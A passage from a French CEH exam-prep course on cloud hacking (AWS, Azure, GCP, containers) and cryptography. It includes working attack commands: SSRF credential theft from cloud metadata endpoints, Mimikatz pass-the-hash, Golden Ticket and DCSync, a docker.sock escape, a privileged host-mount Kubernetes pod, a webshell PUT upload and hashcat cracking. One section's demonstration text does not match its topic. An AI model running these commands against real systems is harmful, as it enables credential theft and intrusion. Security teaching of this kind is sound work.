À vous de jouer : Quel enchaînement retenir pour l'examen ?

Voir la réponse

airmon-ng, airodump-ng, aireplay-ng puis aircrack-ng : chaque étape alimente la suivante jusqu'au crack autorisé.

14

Hacking Cloud

AWS, Azure, GCP — misconfiguration, SSRF metadata, token theft

▼

✓ Modèle de responsabilité partagée Cloud (IaaS, PaaS, SaaS) Facile
✓ AWS misconfigurations : S3 buckets publics, IAM over-permissive Moyen
✓ SSRF vers metadata service : AWS 169.254.169.254 Difficile
✓ Azure AD attacks : Pass-the-Hash, Golden Ticket, DCSync Difficile
✓ GCP : blob storage, service accounts, metadata exploitation Difficile
✓ Container security : Docker escape, Kubernetes pentest Difficile
✓ CloudGoat, Pacu — labs d'entraînement cloud pentest Moyen
✓ Contre-mesures : CloudTrail, GuardDuty, SCP, IAM Policies Moyen

🔍 Modèle de Responsabilité Partagée et Architecture Cloud

Le modèle de responsabilité partagée (Shared Responsibility Model) définit exactement qui est responsable de la sécurité dans le cloud. Il varie selon le type de service (IaaS, PaaS, SaaS). Un pentester cloud doit comprendre ces frontières pour savoir quels vecteurs tester et quels composants sont de la responsabilité du client.

Pourquoi c'est important : Se tromper de frontière IaaS, PaaS ou SaaS fait tester hors contrat ou rater l'IAM : le cadrage cloud commence par qui patch quoi.

L'analogie qui aide : Location : nu (IaaS, vous meublez et sécurisez l'OS), meublé (PaaS, vous apportez apps et secrets), hôtel (SaaS, vous gérez clés et MFA).

IaaS (Infrastructure as a Service) : Le fournisseur gère l'infrastructure physique (data centers, réseau, virtualisation hyperviseur). Le client est responsable de TOUT le reste : OS des VM, applications, données, IAM, configurations réseau (VPC, security groups), pare-feu. Exemples : AWS EC2, Azure Virtual Machines, GCP Compute Engine.
PaaS (Platform as a Service) : Le fournisseur gère en plus le runtime, les middlewares, les bases de données managées et les systèmes d'exploitation. Le client est responsable de l'application, des données, et de la configuration du service (permissions, secrets, variables d'environnement). Exemples : AWS Elastic Beanstalk, Azure App Service, GCP App Engine.
SaaS (Software as a Service) : Le fournisseur gère tout : application, données, infrastructure. Le client est responsable de la configuration utilisateur, les politiques de accès (SSO, MFA), et la gestion des données exportées. Exemples : Office 365, Salesforce, Google Workspace.
Conséquences pour le pentest : En IaaS, le test se concentre sur l'OS, le réseau, les configs VM. En PaaS, le test cible l'application, les secrets, l'IAM. En SaaS, le test se concentre sur les politiques utilisateur et les intégrations tierces. Le périmètre d'autorisation de test varie donc selon le modèle.
Identity and Access Management (IAM) : Cœur de la sécurité cloud. Les policies définissent les permissions. Les misconfigurations IAM sont la cause n°1 des breaches cloud. Principes : least privilege (moindre privilège), éviter les rôles wildcard (*), utiliser des conditions (SourceIP, MFA), et auditer régulièrement les politiques.

# Vérifier les permissions IAM (AWS CLI)
aws iam get-account-authorization-details --output json

# Lister les roles IAM
aws iam list-roles --output table

# Vérifier les politiques d'un utilisateur
aws iam list-attached-user-policies --user-name admin

# Énumérer les buckets S3
aws s3 ls --no-sign-request

# Vérifier les permissions d'un bucket S3 public
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request

# Pacu — framework de post-exploitation AWS
pacu --session my-session
Pacu[my-session] > run iam__enum_permissions
Pacu[my-session] > run s3__enum_buckets

Démonstration pas à pas : Déroulé : aws iam get-account-authorization-details (permissions), aws iam list-roles, aws iam list-attached-user-policies --user-name admin, aws s3 ls --no-sign-request et get-bucket-acl (buckets publics). Sous Pacu : run iam__enum_permissions puis s3__enum_buckets.

Point clé examen CEH : En IaaS, le client est responsable de l'OS et au-dessus. En SaaS, le fournisseur est responsable de quasi tout sauf la configuration utilisateur. Le concept clé pour l'examen est : la responsabilité est toujours partagée, mais la frontière se déplace vers le bas à mesure que vous descendez dans la pile de services.

Pièges classiques : Piège CEH : dire qu'en SaaS le client ne fait rien. Il garde config, SSO, MFA et données. Erreur : wildcard * en IAM présenté comme normal (c'est la faille n°1).

À vous de jouer : Où frapper en IaaS contre SaaS ?

Voir la réponse

En IaaS : OS, VPC et security groups. En SaaS : politiques utilisateurs, SSO et intégrations : le périmètre change avec le modèle.

🔍 AWS Misconfigurations et SSRF vers les Métadonnées

AWS est le cloud le plus testé en pentest. Les misconfigurations S3 (buckets publics), les IAM over-permissives et le SSRF vers le metadata service (169.254.169.254) sont les vecteurs d'attaque les plus exploités. Le metadata service AWS IMDS fournit les credentials temporaires des instances EC2, ce qui est très lucratif pour un attaquant.

Pourquoi c'est important : Un PUT autorisé permet de déposer une webshell en une requête : c'est le finding critique qui fait corriger OPTIONS, TRACE et les bannières en urgence.

L'analogie qui aide : Laisser la porte de service ouverte (PUT pour déposer, DELETE pour jeter, TRACE pour espionner, CONNECT pour creuser un tunnel) avec l'inventaire affiché (OPTIONS).

S3 Buckets Publics : Un bucket S3 configuré avec ACL public ou une bucket policy permissive permet de lister et télécharger les objets. L'énumération de noms de buckets (aws s3 ls s3://bucket-name) peut révéler des données sensibles. AWS S3 Access Analyzer aide à détecter ces expositions.
IAM Over-Permissive : Politiques trop larges : Action:*, Resource:*, effets Allow sans condition. Permet à un compte compromise d'accéder à toutes les ressources. La récupération de credentials via le role assume (sts:AssumeRole) est une technique de privilège escalation cloud.
SSRF vers Metadata : Si l'application a une faille SSRF, l'attaquant interroge http://169.254.169.254/latest/meta-data/. IMDSv1 ne nécessite aucune protection. Les sous-endpoints critiques : iam/security-credentials/ renvoie les clés d'accès temporaires AWS_SECRET_ACCESS_KEY du rôle EC2, meta-data/iam/security-credentials/ROLE_NAME donne la clé AKIA.
IMDSv1 vs IMDSv2 : IMDSv2 exige une méthode PUT avec un header X-aws-ec2-metadata-token-ttl-seconds pour obtenir un token non signé, puis le passage du token (X-aws-ec2-metadata-token) sur chaque requête. IMDSv2 est l'option par défaut pour les nouveaux AMIs, mais IMDSv1 reste actif sur beaucoup d'instances (dual mode).
Privilege Escalation AWS : Techniques courantes : iam:CreatePolicyVersion (overwrite les politiques), iam:AttachUserPolicy (s'attacher des droits admin), ec2:RunInstances avec un profil d'instance (exécuter une instance avec des droits plus larges), lambda:UpdateFunctionCode (modifier le code Lambda exécuté avec un rôle).

# SSRF — accès au metadata service AWS (IMDSv1)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# IMDSv2 — obtenir le token puis les credentials
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# Utiliser les credentials volés avec AWS CLI
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
aws sts get-caller-identity

# Énumération S3 avec les credentials
aws s3 ls s3://target-bucket --recursive

Démonstration pas à pas : Déroulé : curl -X OPTIONS http://target.com/ -v (liste les méthodes). Puis curl -X PUT http://target.com/uploads/shell.php -d "code" (tente le dépôt). Puis curl -X TRACE -v (teste XST). Corrigez sous Apache avec RewriteCond sur REQUEST_METHOD PUT, DELETE, TRACE et CONNECT vers [F]. Apache 2.4.49 (CVE-2021-41773) illustre le serveur obsolète exposé.

Point clé examen CEH : Le SSRF vers 169.254.169.254 est l'attaque cloud la plus exploité. Les credentials S3 sont de longues chaînes AKIA... identifiables. IMDSv2 améliore la sécurité avec le token obligatoire. Retenez la hiérarchie du metadata : /latest/meta-data/iam/security-credentials/ conduit directement aux clés AWS de l'instance.

Pièges classiques : Piège CEH : tester PUT sans avoir fait OPTIONS. OPTIONS révèle d'abord la surface. Erreur : croire que TRACE est inoffensif (il vole via XST même avec HttpOnly faible).

À vous de jouer : Quelle première commande face à un serveur web ?

Voir la réponse

curl -X OPTIONS -v : elle révèle les méthodes activées avant tout test d'upload ou de tracing autorisé.

🔍 Azure AD Attacks et GCP Exploitation

Azure et Google Cloud ont des architectures de sécurité différentes. Azure AD (Entra ID) est la cible de prédilection des attaques Active Directory modernes (Pass-the-Hash, Golden Ticket, DCSync). GCP est plus simple mais offre des vecteurs distincts (buckets storage, service accounts, metadata).

Pourquoi c'est important : Pass-the-Hash, Golden Ticket et DCSync restent la voie royale AD vers Azure, tandis qu'un header Metadata-Flavor oublié ouvre le token GCP : deux réflexes d'audit hybride.

L'analogie qui aide : Voler l'empreinte du trousseau (hash NTLM réutilisé), forger un passe universel (Golden Ticket krbtgt) ou se faire passer pour l'inventaire (DCSync) côté Azure ; côté GCP, demander au concierge avec le mot convenu (header).

Pass-the-Hash : L'attaquant capte le hash NTLM d'un utilisateur via Mimikatz (sekurlsa::logonpasswords) et l'utilise pour s'authentifier sans connaître le mot de passe. Sur Azure AD Connect, le hash est synchronisé de l'AD on-premise vers Azure AD : compromettre Azure AD Connect donne accès aux hashs synchronisés.
Golden Ticket (Kerberos) : L'attaquant qui compromet le compte krbtgt peut forger des tickets TGT valides pour n'importe quel utilisateur. Mimikatz : kerberos::golden /user:Administrator /domain:CORP /sid:... /krbtgt:HASH. Le ticket est valide 10 ans (politique par défaut) et peut être usé pour l'accès Azure AD si le sync est configuré.
DCSync : L'attaquant avec les droits DS-Replication-Get-Changes peut réclamer les hashs de tout le domaine à un DC via DRSUAPI. Mimikatz : lsadump::dcsync /domain:CORP /user:krbtgt. Nécessite les droits Replication pour être efficace mais ces droits sont souvent accordés par erreur.
Consent Phishing : L'attaquant crée une application Azure AD malveillante avec des scopes d'API Graph (Mail.Read, Files.ReadWrite.All). La victime clique sur le lien de consentement OAuth, l'application vole les données. C'est le vecteur principal de compromission Microsoft 365.
GCP — buckets storage : Les buckets GCS (Google Cloud Storage) sont souvent exposés (gs://bucket-name). Énumération avec gsutil ls -r. L'accès est contrôlé par les IAM policies et les ACL. Le test rapide est gsutil ls gs://target-bucket sans credentials.
GCP — metadata et service accounts : L'endpoint metadata GCP est http://metadata.google.internal/computeMetadata/v1/ (header Metadata-Flavor: Google obligatoire). Les service accounts ont des scopes prédéfinis. Un side-channel dans une application GCP peut atteindre le metadata et voler les token OAuth du service account. Avec le token, accès aux APIs GCP autorisées.

# Mimikatz — Pass-the-Hash
mimikatz# sekurlsa::logonpasswords
mimikatz# sekurlsa::pth /user:Administrator /domain:CORP /ntlm:HASH /run:powershell.exe

# Mimikatz — Golden Ticket
mimikatz# privilege::debug
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789 /krbtgt:HASH /ptt

# Mimikatz — DCSync
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

# Azure — énumérer les applications (az cli)
az ad signed-in-user show
az ad app list --all | jq '.[].appId'

# GCP — metadata service
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# GCP — énumérer les buckets sans credentials
gsutil ls gs://target-bucket

Démonstration pas à pas : Déroulé : sekurlsa::logonpasswords puis sekurlsa::pth /user:Administrator /ntlm:HASH /run:powershell.exe. Puis kerberos::golden /user:Administrator /domain:corp.local /sid:... /krbtgt:HASH /ptt. Puis lsadump::dcsync /domain:corp.local /user:krbtgt. GCP : curl -H "Metadata-Flavor: Google" .../default/token et gsutil ls gs://target-bucket.

Point clé examen CEH : DCSync nécessite les droits DS-Replication-Get-Changes et -Changes-All sur les comptes du domaine. Le Golden Ticket est forgé à partir du hash du compte krbtgt et donne un accès total au domaine. Le metadata GCP exige le header Metadata-Flavor : Google alors qu'AWS IMDSv1 ne nécessite rien.

Pièges classiques : Piège CEH : DCSync sans droits DS-Replication-Get-Changes. Erreur : oublier le header GCP obligatoire alors qu'AWS IMDSv1 n'en demande aucun.

À vous de jouer : Que faut-il au Golden Ticket ?

Voir la réponse

Le hash krbtgt, le SID du domaine et privilege::debug : le TGT forgé vaut 10 ans par défaut si le sync Azure existe.

🔍 Docker Escape, Kubernetes et Contre-Mesures Cloud

Les conteneurs et Kubernetes sont devenus des cibles majeures dans le cloud. Un Docker escape permet de sortir d'un conteneur pour accéder à l'hôte. Les clusters Kubernetes mal configurés exposent des API sans authentification. CloudGoat et Pacu sont les frameworks de référence pour l'entraînement au cloud pentest.

Pourquoi c'est important : Un docker.sock monté donne l'hôte en une commande, un rôle K8s create pods donne le noeud : deux findings critiques qui ferment les montages et RBAC laxistes.

L'analogie qui aide : Sortir d'une cellule par la trappe du gardien (socket Docker) ou faire construire une annexe avec vue sur tout l'immeuble (pod privilégié hostPath /).

Docker Escape : Sortie d'un conteneur vers l'hôte. Techniques : montage /var/run/docker.sock (accès au démon Docker de l'hôte via socket), capabilities Linux (CAP_SYS_ADMIN + cgroups permettant un container breakout), namespace manipulation, kernel exploits. Des montages de fichiers sensibles dans le conteneur peuvent aussi exfiltrer des données.
Kubernetes (K8s) : Le plan de contrôle expose l'API server (port 6443). Les kubeconfigs sont souvent téléchargés par erreur. Les rôles RBAC trop permissifs : un role avec create pods permet de déployer des pods avec des volumes hôtes, menant à un node compromise. La compromission des secrets K8s (ServiceAccount tokens) permet l'accès aux APIs.
K8s pentest phases : Énumération (cluster discovery, kubeconfig), attaque du contrôle de plan (API server sans auth), compromission de nodes (daemonsets avec privilèges), exfiltration (secrets, configmaps, persistent volumes). Les outils : kube-hunter, kubeaudit, trivy pour les images vulnérables.
CloudGoat (AWS) : Lab d'entraînement AWS avec 7+ scénarios de cisogurations (S3, IAM, Lambda, EC2). Chaque scénario enseigne une classe d'attaque. Deployment : python create.py scenario_name.
Contre-mesures cloud : AWS CloudTrail (journal d'audit des API calls), GuardDuty (détection de menaces basée sur ML), AWS Config (évaluation des configurations), SCP (Service Control Policies pour les limites organisationnelles), least privilege IAM, Azure Monitor/Sentinel, GCP Audit Logs. La détection repose sur l'analyse des événements : API calls anormaux, accès par des IP inconnues, unauthenticated API calls.

# Docker — test du docker.sock monté
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it busybox chroot /host sh

# Kubernetes — énumération API
kubectl get pods --all-namespaces
kubectl get secrets
kubectl get rolebindings --all-namespaces

# Créer un pod privilégié (mount host root)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwn
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pwn
    image: busybox
    command: ["/bin/sh"]
    stdin: true
    volumeMounts:
    - name: hostfs
      mountPath: /host
  volumes:
  - name: hostfs
    hostPath:
      path: /
EOF

# CloudGoat — installer un scénario
python create.py iam_privesc_by_attachment
# Vérifier CloudTrail
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=RunInstances

Démonstration pas à pas : Déroulé : ls -la /var/run/docker.sock puis docker -H unix:///var/run/docker.sock run -v /:/host --rm -it busybox chroot /host sh. K8s : kubectl get pods --all-namespaces, get secrets, get rolebindings. Pod pwn avec hostNetwork, hostPID et hostPath / monté sur /host. Lab : python create.py iam_privesc_by_attachment. Audit : aws cloudtrail lookup-events sur RunInstances.

Point clé examen CEH : Le docker.sock monté est le vecteur de Docker escape le plus testé : démon Docker de l'hôte accessible depuis le conteneur. En K8s, les roles RBAC avec create pods sont extrêmement dangereux (escalade vers node compromise). CloudTrail est le journal de tous les API calls AWS — indispensable pour l'analyse post-incident.

Pièges classiques : Piège CEH : croire que le conteneur isole comme une VM. Sans user namespace ni seccomp, l'escape est direct. Erreur : RBAC create pods jugé anodin (c'est une escalade node).

À vous de jouer : Quel montage signer en critique ?

Voir la réponse

docker.sock et hostPath / : ils donnent l'hôte ou le noeud, à interdire hors besoin justifié et tracé.

15

Cryptographie

Chiffrement symétrique/asymétrique, attaques, PKI, hashing

▼

✓ Principes : confidentialité, intégrité, authentification, non-répudiation Facile
✓ Chiffrement symétrique : AES, DES, 3DES, Blowfish — modes d'opération Moyen
✓ Chiffrement asymétrique : RSA, ECC, Diffie-Hellman, ElGamal Moyen
✓ Fonctions de hachage : MD5, SHA-1, SHA-256, bcrypt, Argon2 Moyen
✓ Attaques cryptographiques : padding oracle, birthday, collision Difficile
✓ PKI et certificats SSL/TLS : chaîne de confiance, Let's Encrypt Moyen
✓ SSL/TLS attaques : POODLE, BEAST, Heartbleed, ROBOT Difficile
✓ Stéganographie : hider des données dans images/audio/video Moyen

🔍 Principes Fondamentaux et Chiffrement Symétrique

La cryptographie sert à garantir quatre objectifs de sécurité distincts : la confidentialité (seul le destinataire légitime lit le message), l'intégrité (le message n'a pas été modifié), l'authentification (on sait qui a envoyé le message), et la non-répudiation (l'expéditeur ne peut pas nier son envoi). Le chiffrement symétrique utilise la même clé pour chiffrer et déchiffrer.

Pourquoi c'est important : Choisir ECB expose les motifs, CBC sans IV aléatoire ouvre au padding oracle, seul GCM chiffre et authentifie : le SOC refuse ECB sur données sensibles.

L'analogie qui aide : Un tampon identique qui laisse deviner le texte (ECB), une chaîne où chaque maillon dépend du précédent (CBC avec IV), un coffre scellé avec témoin d'ouverture (GCM).

Confidentialité : Le chiffrement rend les données illisibles pour les non-autorisés. Garanti par AES, RSA, ChaCha20 sur le transport. Exemples d'implémentation : HTTPS pour le transit, BitLocker pour le stockage.
Intégrité : Détecte toute modification du message (accidentelle ou intentionnelle). Les MAC (Message Authentication Code) comme HMAC, ou les HMAC combinés au chiffrement (mode GCM) garantissent que les données n'ont pas été altérées.
Authentification : Prouve l'identité des parties. Les certificats numériques (X.509) lient une clé publique à une identité via une autorité de certification (CA). L'authenticité des données peut être prouvée par les signatures numériques.
Non-répudiation : L'expéditeur ne peut pas nier avoir envoyé le message. Utilise les signatures numériques basées sur l'asymétrique (RSA ou ECDSA) : seuls celui qui possède la clé privée peut produire la signature, vérifiable avec la clé publique.
Chiffrement symétrique : Même clé partagée pour chiffrer/déchiffrer. Rapide et adapté aux volumes importants. AES (Advanced Encryption Standard, 128/192/256 bits) est le standard moderne. DES (56 bits) est obsolète depuis 2001, 3DES (DES triple, 168 bits) est déprécié en 2023. Blowfish (64 bits blocks) est utilisé pour les mots de passe avec bcrypt.
Modes d'opération : ECB (Electronic Codebook) — chiffre des blocs identiques en blocs identiques (faille confetti d'être voyant) — mode dangereux car les patterns sont visibles. CBC (Cipher Block Chaining) — chaque bloc XORé avec le précédent, nécessite une IV (Initialization Vector) aléatoire — vulnérable aux attaques padding oracle si mal implémenté. GCM (Galois/Counter Mode) — chiffrement authentifié avec MAC intégré — recommandé moderne.

# Chiffrer et déchiffrer avec OpenSSL (AES-256-CBC)
openssl enc -aes-256-cbc -salt -in fichier.txt -out fichier.enc -k passphrase

# Déchiffrer
openssl enc -d -aes-256-cbc -in fichier.enc -out fichier.txt -k passphrase

# Chiffrement symétrique avec GCM (mode authentifié)
openssl enc -aes-256-gcm -in fichier.txt -out fichier.enc -k passphrase -iv $(openssl rand -hex 12)

# Liste des ciphers supportés
openssl list -cipher-algorithms | grep AES

Démonstration pas à pas : Déroulé : openssl enc -aes-256-cbc -salt -in fichier.txt -out fichier.enc -k passphrase (chiffre), puis -d pour déchiffrer. Puis -aes-256-gcm avec -iv $(openssl rand -hex 12) (authentifié). Listez avec openssl list -cipher-algorithms | grep AES. Retenez DES 56 bits obsolète, 3DES déprécié 2023, AES 128/192/256 standard FIPS 197.

Point clé examen CEH : ECB est le mode à problèmes : il laisse apparaître les patterns de données répétées. CBC requiert une IV aléatoire et est vulnérable au padding oracle. GCM est le mode recommandé car il combine chiffrement et authentification. AES est le seul chiffrement approuvé pour les données sensibles dans la plupart des standards (FIPS 197).

Pièges classiques : Piège CEH : recommander ECB pour sa simplicité. Il révèle les patterns. Erreur : IV réutilisé ou prévisible en CBC.

À vous de jouer : Quel mode pour données sensibles ?

Voir la réponse

GCM : il combine chiffrement et MAC intégré, là où ECB fuit et CBC exige une implémentation parfaite.

🔍 Chiffrement Asymétrique et Fonctions de Hachage

Le chiffrement asymétrique utilise une paire de clés : une publique (distribution libre) et une privée (secrete). On l'utilise pour le chiffrement, la signature numérique, et l'échange de clés symétriques (hybride). Les fonctions de hachage produisent une empreinte de longueur fixe irréversible utilisée pour l'intégrité et le stockage de mots de passe.

Pourquoi c'est important : RSA-1024 cassé, ECC-256 équivalent à RSA-3072, MD5 et SHA-1 collisionnés : dimensionner clés et hachages évite un chiffrement théâtral côté SOC.

L'analogie qui aide : Une boîte aux lettres à deux clés (publique pour déposer, privée pour ouvrir, RSA/ECC), avec scellé inviolable (hachage avalanche) et carnet à souche salée (bcrypt, Argon2).

RSA : Inventé en 1977, sécurité basée sur la difficulté de factoriser le produit de deux grands nombres premiers. Clés 1024/2048/4096 bits (2048 minimum requis aujourd'hui). Utilisé pour le chiffrement (rare, lent) et surtout la signature numérique. La taille de la clé est critique : RSA-1024 est cassé par plusieurs équipes de recherche.
ECC (Elliptic Curve Cryptography) : Sécurité basée sur le problème du logarithme discret sur les courbes elliptiques. Clés beaucoup plus courtes pour une sécurité équivalente : ECC-256 ≈ RSA-3072. Utilisé par ECDSA (signatures TLS), ECDH (échange de clés TLS). Les courbes P-256 (secp256r1) et Curve25519 (X25519, Ed25519) sont les standards.
Diffie-Hellman : Protocole d'échange de clés permettant à deux parties de calculer une clé secrète partagée sur un canal public. La sécurité repose sur le logarithme discret (g^a mod p). Vulnérable aux attaques MITM sans authentification — c'est pourquoi l'échange DH est toujours protégé par une authentification (certificats, signatures) de nos jours.
ElGamal : Algorithme asymétrique basé sur le logarithme discret. Permet chiffrement et signature. Peu utilisé dans les standards modernes car plus lent que RSA et ECC.
Hachages : MD5 (128 bits) — collisions triviales depuis 2004, interdit pour la sécurité. SHA-1 (160 bits) — collisions réelles (SHAttered 2017), déprécié. SHA-256 (256 bits) — standard actuel (SHA-2). bcrypt — dérivé de Blowfish, avec sel et coût configurable, standard pour les mots de passe. Argon2 — gagnant de la PHC competition, le plus moderne, résistant au GPU (mémoire requise).
Propriétés des hachages : Déterministe (même entrée = même sortie), avalanche (changer 1 bit d'entrée change 50% des bits de sortie), sens unique (irréversible), résistance préimage (étant donné un hash, infaisable de trouver l'entrée), résistance aux collisions (infaisable de trouver 2 entrées avec même hash).

# Générer une paire de clés RSA
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Générer une paire de clés EC (Ed25519)
openssl genpkey -algorithm Ed25519 -out ec_private.pem

# Chiffrer RSA avec la clé publique
openssl pkeyutl -encrypt -inkey public.pem -pubin -in fichier.txt -out fichier.enc

# Signer et vérifier une signature SHA-256
openssl dgst -sha256 -sign private.pem -out signature.bin fichier.txt
openssl dgst -sha256 -verify public.pem -signature signature.bin fichier.txt

# Hachages
echo -n "CEH" | md5sum
echo -n "CEH" | sha1sum
echo -n "CEH" | sha256sum

# Cracker des hash MD5 avec hashcat (mode 0)
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -a 0

# Cracker bcrypt (mode 3200)
hashcat -m 3200 bcrypt_hash.txt rockyou.txt -a 0

Démonstration pas à pas : Déroulé : openssl genrsa -out private.pem 2048 puis -pubout (paire RSA). Puis genpkey -algorithm Ed25519 (ECC moderne). Chiffrez avec pkeyutl -encrypt, signez avec dgst -sha256 -sign puis -verify. Hachez avec md5sum, sha1sum, sha256sum. Craquez en lab : hashcat -m 0 (MD5) et -m 3200 (bcrypt $2*).

Point clé examen CEH : L'effet avalanche d'un hachage : si SHA-256("test") et SHA-256("test!") sont radicalement différents, c'est l'avalanche. MD5 et SHA-1 sont cassés (collisions démontrées). Pour les mots de passe côté entreprise, on utilise bcrypt ou Argon2, jamais MD5 ou SHA-256 sans sel et itérations (ces derniers sont trop rapides pour le brute force GPU).

Pièges classiques : Piège CEH : stocker avec MD5 ou SHA-256 simple. Trop rapides pour GPU, il faut bcrypt ou Argon2 salés. Erreur : ECC jugée faible car clé courte (256 ≈ 3072 RSA).

À vous de jouer : Pourquoi bannir MD5 et SHA-1 ?

Voir la réponse

Collisions démontrées (2004, SHAttered 2017) : avalanche brisée, un attaquant forge deux documents au même hash.

🔍 Attaques Cryptographiques et PKI

Les attaques cryptographiques exploitent les faiblesses des implémentations, les limites mathématiques, ou les erreurs d'implémentation. Le paradoxe des anniversaires et les collisions menacent les fonctions de hachage. La PKI (Public Key Infrastructure) organise la confiance autour des certificats numériques.

Pourquoi c'est important : POODLE, BEAST, Heartbleed et ROBOT ont tous saigné par CBC ou OpenSSL : auditer la chaîne X.509 et désactiver SSLv3 évite la récidive côté SOC.

L'analogie qui aide : Interroger le gardien jusqu'à ce qu'il avoue (padding oracle), attendre deux anniversaires identiques (birthday 2^(n/2)), vérifier la chaîne des badges (PKI racine vers serveur).

Padding Oracle Attack : Exploite les messages d'erreur indiquant si le padding est correct ou non après déchiffrement CBC. En envoyant des paddings modifiés, l'attaquant déchiffre le texte chiffré bit par bit SANS connaître la clé. Algorithmes : POODLE (SSLv3+CBC), BEAST (TLS 1.0 CBC), Lucky13 (TLS CBC).
Birthday Paradox / Collision : Le paradoxe des anniversaires : pour trouver une collision dans un espace de n bits, il suffit d'environ 2^(n/2) essais. Pour MD5 (128 bits) : 2^64 opérations. Nécessite une fonction de collision pour forcer deux documents. Les collisions MD5 et SHA-1 sont réalistes aujourd'hui (Chosen-prefix attacks, flame malware, SHAttered).
Attaques SSL/TLS : POODLE (2014) — attaque padding oracle sur SSLv3 avec CBC, downgrade SSLv3 exploitable. BEAST (2011) — prédiction des blocs CBC en TLS 1.0, nuit aux navigateurs. Heartbleed (2014) — bug OpenSSL, fuite mémoire du serveur (jusqu'à 64KB par heartbeat), permet de voler les clés privées. ROBOT (2017) — reprise de l'attaque Bleichenbacher contre RSA en TLS.
PKI et chaîne de confiance : Une CA racine émet des certificats intermédiaires qui émetterent des certificats de serveurs. Le navigateur vérifie la chaîne jusqu'à une CA racine trustée (root store). Les certificats contiennent : sujet (CN/SAN), clé publique, période de validité, signatures de la CA. X.509 est le format de certificat standard.
Formats de certificats : PEM (Base64, ---BEGIN CERTIFICATE---, extensions .pem/.crt/.cer) et DER (binaire). Les clés PKCS#8 (.key), PKCS#12 (.p12/.pfx) contiennent certificat + clé privée avec mot de passe. Extensions de certificats : SAN (Subject Alternative Name) pour les domaines multiples.On utilise openssl x509 pour inspecter et générer.
Let's Encrypt : CA gratuite et automatisée émettant des certificats de 90 jours. Validation par ACME (HTTP-01 challenge, DNS-01 challenge). Certbot gère le renouvellement automatique. Une erreur de configuration Let's Encrypt ne pose pas de problème de sécurité de la CA elle-même mais de la gestion des renouvellements (downtime).

# Inspecter un certificat
openssl x509 -in cert.pem -text -noout

# Vérifier la chaîne de certification
openssl verify -CAfile ca-chain.pem server_cert.pem

# Inspecter un certificat serveur TLS
openssl s_client -connect example.com:443 -showcerts

# Vérifier l'expiration d'un certificat
echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null | openssl x509 -noout -dates

# Générer une CSR (Certificate Signing Request)
openssl req -new -key private.key -out request.csr -subj "/CN=www.example.com"

# Tester SSL/TLS (sslscan)
sslscan --no-colour example.com

# Tester TLS avec testssl.sh (complet)
testssl.sh --full example.com

Démonstration pas à pas : Déroulé : openssl x509 -in cert.pem -text -noout (inspecte), openssl verify -CAfile ca-chain.pem (chaîne), openssl s_client -connect example.com:443 -showcerts (serveur), s_client | openssl x509 -noout -dates (expiration), req -new -key private.key -out request.csr (CSR). Scannez avec sslscan et testssl.sh --full. Heartbleed CVE-2014-0160 = 64 Ko par heartbeat.

Point clé examen CEH : Le padding oracle (POODLE) est une attaque oracle de chiffrement CBC — le serveur révèle si le padding est valide. Le paradoxe des anniversaires explique pourquoi 2^(n/2) de collisions sont possibles. La panne CVE-2014-0160 (Heartbleed) a touché OpenSSL 1.0.1 — 64KB de mémoire du serveur exfiltrés par heartbeat malformé. Les certificats Let's Encrypt durent 90 jours avec renouvellement automatique.

Pièges classiques : Piège CEH : confondre POODLE (SSLv3 CBC downgrade) et BEAST (TLS 1.0 CBC). Erreur : PEM (Base64) confondu avec DER (binaire) ou P12 (cert plus clé).

À vous de jouer : Que prouve un padding oracle ?

Voir la réponse

Que le serveur dit si le padding CBC est valide : en rejouant des paddings, on déchiffre sans la clé, d'où GCM et TLS récents.

🔍 Stéganographie et Cracking d'Hash

La stéganographie cache l'existence d'un message dans un autre média (image, audio, vidéo) contrairement au chiffrement qui cache le contenu. Les attaquants l'utilisent pour dissimuler l'exfiltration de données (data hiding). Côté défense, le cracking d'hash vérifie la force des mots de passe.

Pourquoi c'est important : Un secret en LSB passe les DLP aveugles, un MD5 tombe en secondes sur GPU : la chasse combine zsteg pour l'image et hashcat masqué pour le mot de passe.

L'analogie qui aide : Écrire au jus de citron entre les lignes (LSB invisible), en code blanc sur blanc (snow espaces), puis tester les serrures au gabarit (masks ?l ?u ?d ?s).

LSB (Least Significant Bit) : Technique d'image : remplace les bits de poids faible des pixels par les bits du message. Invisible à l'œil humain (variation mineure de couleur). Un fichier cache caché dans PNG/BMP est indétectable visuellement mais détectable par analyse statistique (entropy).
Stéganographie audio/vidéo : Dans l'audio : LSB sur les échantillons PCM, spread spectrum, echo hiding. Dans la vidéo : les frames successives, les sous-bandes de compression, les métadonnées. Les conteneurs MP4/AVI permettent aussi le tracing via les track de données.
Outils : steghide (embed/extract dans JPEG, BMP, WAV, AU), snow (whitespaces : espaces/tabs cachés en fin de ligne dans le texte — très efficace pour les fichiers .txt), zsteg (analyse PNG/BMP avec LSB, enhanced Stegano algorithms), outguess, stegsolve (analyseur visuel de pixels), binwalk (détecte les fichiers cachés dans les fichiers).
Cracking d'hash — hashcat : Modes importants : 0 (MD5), 100 (SHA-1), 1400 (SHA-256), 1000 (NTLM), 3200 (bcrypt $2*), 22000 (WPA-PBKDF2), 13100 (Kerberos 5 TGS-REP). L'option -a 0 est le dictionnaire, -a 1 combinator (concaténation de 2 wordlists), -a 3 brute force masks, -a 6/7 hybrid (wordlist+mask).
